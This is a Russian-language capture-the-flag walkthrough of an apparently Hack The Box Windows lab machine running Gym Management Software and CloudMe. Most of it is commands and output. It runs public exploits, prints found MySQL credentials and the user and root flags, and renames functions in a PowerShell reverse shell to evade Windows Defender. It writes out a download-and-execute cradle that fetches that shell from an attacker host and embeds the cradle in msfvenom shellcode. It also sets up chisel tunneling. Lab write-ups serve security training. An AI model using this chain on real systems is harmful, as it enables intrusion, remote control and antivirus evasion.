Обзор сервиосв

$ nmap -sV -sC -Pn -oN 10.10.10.198 10.10.10.198

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Gym Management Software 1.0

Публичный эксплоит 1

searchsploit -m php/webapps/48506.py
python 48506.py http://10.10.10.198:8080/

Флаг пользователя

C:\xampp\htdocs\gym\upload> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::6536:78e1:31e5:9cf2
   Temporary IPv6 Address. . . . . . : dead:beef::21db:edc9:fd20:d3e2
   Link-local IPv6 Address . . . . . : fe80::6536:78e1:31e5:9cf2%10
   IPv4 Address. . . . . . . . . . . : 10.10.10.198
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:b45%10
                                       10.10.10.2
C:\xampp\htdocs\gym\upload> type C:\users\shaun\desktop\user.txt
4a5a858bc7cd662130cbeb2ec603d346

MySQL креды

> type ..\"New Text Document.txt"
$mysql_host = "mysql16.000webhost.com";
$mysql_database = "a8743500_secure";
$mysql_user = "a8743500_secure";
$mysql_password = "ipad12345";


$mysqli = new mysqli("localhost", "root", "", "table");

define("HOST", "localhost");     // The host you want to connect to.
define("USER", "root");    // The database username.
define("PASSWORD", "");    // The database password.
define("DATABASE", "gym");    // The database name.

Reverse Shell

Используем шелл нишанга Invoke-PowershellTcp.ps1, меняем функцию Invoke-PowershellTcp на cb, $Reverse => $rev, затем добавляем в конец строчку cb -rev -IPAddress 10.10.14.8 -Port 1234 (небольшой трюк, чтобы обойти Windows Defender).

На локальной машине:

nc -lnvp 1234

Загружаем на удаленную машину и запускаем:

> powershell -noni -nop -ep bypass -c iex (new-object net.webclient).downloadstring('http://10.10.14.8/shell/Invoke-PowerShellTcp.ps1') 2>&1

Cloudme

> netstat -ano | findstr 8888

=> cloudme 1.1.1.2

Загрузим на машину chisel, чтобы воспользоваться перенаправлением портов.

На локальной машине:

wget https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_windows_amd64.gz
gunzip chisel_1.7.3_windows_amd64.gz
./chisel_1.7.3_linux_amd64 server -p 9001 -reverse # host

На удаленной машине:

.\chisel.exe client 10.10.14.8:9001 R:8888:127.0.0.1:8888 # target

Публичный эксплоит 2

searchsploit -m windows/remote/48389.py
msfvenom -a x86 -p windows/exec CMD="powershell -noni -nop -ep bypass -c iex (New-Object Net.WebClient).DownloadString('http://10.10.14.8/shell/Invoke-PowerShellTcp.ps1')" -b '\x00\x0A\x0D' -f python -o pwsh_shellcode
nc -lnvp 1235

Меняем порт в shell/Invoke-PowerShellTcp.ps1 на 1235.
Меняем payload в 48389.py на исходный код файла pwsh_shellcode.

python 48389.py # нужно пробовать несколько раз

Флаг суперпользователя

PS C:\users\administrator\desktop> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::d4f3:7b0e:c3fe:7e95
   Temporary IPv6 Address. . . . . . : dead:beef::fd9c:2030:fcdf:c600
   Link-local IPv6 Address . . . . . : fe80::d4f3:7b0e:c3fe:7e95%10
   IPv4 Address. . . . . . . . . . . : 10.10.10.198
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:b45%10
                                       10.10.10.2
PS C:\users\administrator\desktop> type root.txt
a750455b46e865d79dbf9c7c26676170